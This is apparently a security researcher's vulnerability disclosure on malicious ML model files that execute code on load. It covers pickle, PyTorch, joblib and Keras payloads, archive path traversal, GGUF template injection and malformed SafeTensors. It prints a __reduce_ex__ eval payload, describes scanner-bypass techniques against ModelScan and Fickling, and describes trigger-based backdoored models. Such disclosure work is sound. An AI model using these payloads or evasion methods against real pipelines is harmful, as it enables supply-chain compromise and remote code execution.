Huntr MFV Submission: ML Model Supply Chain Attack Surface
Researcher: Karim Foughali
Email: kfoughali@dzlaws.org
Date: January 2026
Executive Summary
This report does NOT claim Pickle itself is broken. The vulnerability is unsafe default trust in model artifacts across ML frameworks.
Key Finding: Existing model scanners fail to detect these payloads.
These issues affect both training-time and inference-time pipelines.
SUBMISSION STRUCTURE
CORE (5 files) β Direct RCE on Load
| File | Framework | Trigger |
|---|---|---|
poc_pickle_model.pkl |
pickle | pickle.load() |
poc_pytorch_model.pt |
PyTorch | torch.load() |
malicious_sklearn_model.joblib |
sklearn | joblib.load() |
zipslip_model.zip |
Any archive | extractall() |
tarslip_model.tar.gz |
Any archive | extractall() |
Vulnerable Loader
import pickle
import torch
import joblib
pickle.load(open("poc_pickle_model.pkl", "rb")) # RCE
torch.load("poc_pytorch_model.pt") # RCE
joblib.load("malicious_sklearn_model.joblib") # RCE
Observable Impact
cat /tmp/poc_evidence.txt
# Output: PWNED
AMPLIFIER A (3 files) β Silent Exploitation
These attacks evade red-team tests because execution occurs only after deployment.
| File | Attack | Why It's Scary |
|---|---|---|
stealth_backdoor.pkl |
Numerical trigger | Behaves normally until pixel=0.99999 |
malicious_keras_model.keras |
Lambda layer | Executes only at inference |
malicious_model.h5 |
Lambda layer | Executes only at inference |
Attack Pattern
Models that behave correctly during tests but execute attacker logic at inference time.
Vulnerable Loader
from keras.models import load_model
import pickle
# Passes all validation tests
model = load_model("malicious_keras_model.keras", safe_mode=False)
# Normal inference - looks fine
model.predict(normal_input) # Returns correct output
# Triggered inference - attacker controlled
model.predict(input_with_trigger) # Executes malicious code
Why This Matters
- β Passes CI/CD validation
- β Passes model testing
- β Passes security review
AMPLIFIER B (3 files) β Scanner Bypass
Existing model scanners fail to detect these payloads.
| File | Evasion Technique | Bypasses |
|---|---|---|
scanner_bypass_model.pt |
__reduce_ex__ + protocol 4 + nesting |
ModelScan, Fickling |
malicious_model.gguf |
SSTI in metadata field | No scanner covers GGUF |
backdoored_model.pkl |
Logic-only backdoor (no imports) | Static analysis |
Note: Template rendering occurs automatically when starting a chat session.
Scanner Bypass Techniques Used
class StealthyExploit:
def __reduce_ex__(self, protocol): # Not __reduce__
return (eval, ("__import__('os').system('id')",))
# + Nested object structure
# + Pickle protocol 4 (different bytecode)
# + Legitimate-looking wrapper class
Why This Matters
This reframes the issue as:
Defensive failure, not just offensive capability.
Current tools give false sense of security:
- ModelScan: β Bypassed
- Fickling: β Bypassed
- Static analysis: β Bypassed
β Parser Edge Cases
| File | Issue | Impact |
|---|---|---|
dos_model.safetensors |
Claims 4 exabyte tensor | OOM crash |
type_confusion.safetensors |
BF16 header, F32 data | Parser confusion |
header_injection.safetensors |
Malicious metadata | Implementation-dependent |
pytorch_zipslip.pt |
ZIP path traversal | File write |
Note
SafeTensors is designed to be safe. These demonstrate:
- Resource exhaustion vectors
- Parser edge cases
- Defense-in-depth gaps
Lower severity than RCE classes.
AFFECTED ECOSYSTEMS
| Framework | Loading Function | Status |
|---|---|---|
| PyTorch | torch.load() |
β οΈ Vulnerable by default |
| sklearn | joblib.load() |
β οΈ Vulnerable |
| Keras 2.x | load_model() |
β οΈ Vulnerable |
| Keras 3.x | load_model(safe_mode=False) |
β οΈ Vulnerable when disabled |
| llama.cpp | GGUF loader | β οΈ Template injection |
| Ollama | GGUF loader | β οΈ Template injection |
| HuggingFace | from_pretrained() |
β οΈ Depends on format |
WHAT THIS REPORT DOES CLAIM
- β Unsafe default trust in model artifacts across ML frameworks
- β Scanner bypass β existing defenses fail to detect payloads
- β Silent exploitation β attacks evade testing, execute in production
- β Real attack paths via HuggingFace, Model Zoos, supply chain
FILES SUMMARY
| Category | Files | Count |
|---|---|---|
| CORE β Direct RCE | pkl, pt, joblib, zip, tar.gz | 5 |
| AMPLIFIER A β Silent | stealth.pkl, keras, h5 | 3 |
| AMPLIFIER B β Scanner Bypass | bypass.pt, gguf, backdoor.pkl | 3 |
| BONUS β Parser Issues | safetensors (3), zipslip.pt | 4 |
| TOTAL | 15 |
REPRODUCTION
Step 1: Run Core RCE
python -c "import pickle; pickle.load(open('poc_pickle_model.pkl','rb'))"
cat /tmp/poc_evidence.txt
Step 2: Verify Scanner Bypass
pip install modelscan
modelscan -p scanner_bypass_model.pt
# Scanner reports: CLEAN (false negative)
python -c "import pickle; pickle.load(open('scanner_bypass_model.pt','rb'))"
# Executes payload despite scanner approval
Step 3: Test Inference Backdoor
import pickle
model = pickle.load(open("backdoored_model.pkl", "rb"))
print(model.predict("Hello")) # Normal output
print(model.predict("Hello TRIGGER")) # Attacker-controlled
Researcher: Karim Foughali
Email: kfoughali@dzlaws.org
HUGGINGFACE REPOSITORY
Public PoC Repository
URL: https://huggingface.co/kfoughali/mfv-security-research
Files Uploaded:
- All 15 PoC model files
vulnerable_loaders/scriptsREADME.mdwith reproduction steps
Setup Completed:
- β Repository set to PUBLIC
- β Gated User Access β Enabled
- β Manual Review β Enabled
- β
protectai-botβ Access Granted
EVIDENCE: HUGGINGFACE/PROTECTAI SCAN BYPASS
Scanner Bypass Proof
Step 1: HuggingFace Scan Result
Model: scanner_bypass_model.pt
HuggingFace Security Scan: β
PASSED (No issues detected)
ProtectAI ModelScan: β
CLEAN
Step 2: Actual Execution
python -c "import pickle; pickle.load(open('scanner_bypass_model.pt','rb'))"
# Result: Payload executes despite "clean" scan
cat /tmp/scanner_bypass.txt
# Output: STEALTH_RCE
Conclusion
Existing model scanners fail to detect these payloads. The scanner reports CLEAN while the payload executes successfully.
TENSORRT-LLM REPRODUCTION PATH
TensorRT-LLM Weight Loading Vulnerability
TensorRT-LLM loads model weights from SafeTensors format via:
# From: tensorrt_llm/models/convert_utils.py
from safetensors.torch import load_file
weights = load_file(safetensors_path)
Affected Code Paths
tensorrt_llm.models.llama.convert.load_weights_from_hf()tensorrt_llm.models.gpt.convert.load_weights_from_hf()- Any model using
safetensors.torch.load_file()
Reproduction Script
# tensorrt_llm_dos.py
# Demonstrates DoS via malformed SafeTensors in TensorRT-LLM pipeline
from safetensors.torch import load_file
# This triggers OOM when TensorRT-LLM attempts to load weights
try:
weights = load_file("dos_model.safetensors")
except MemoryError:
print("DoS CONFIRMED: TensorRT-LLM weight loading crashed")
except Exception as e:
print(f"Parser error: {e}")
Impact on TensorRT-LLM
| File | Effect on TensorRT-LLM |
|---|---|
dos_model.safetensors |
OOM crash during weight loading |
type_confusion.safetensors |
Potential tensor corruption |
header_injection.safetensors |
Metadata parsing issues |
Why This Matters
TensorRT-LLM is used in production inference pipelines. Malformed SafeTensors files from untrusted sources (HuggingFace, Model Zoos) can:
- Crash inference servers (DoS)
- Corrupt loaded weights (integrity)
- Exploit parser edge cases
- Downloads last month
- 3
We're not able to determine the quantization variants.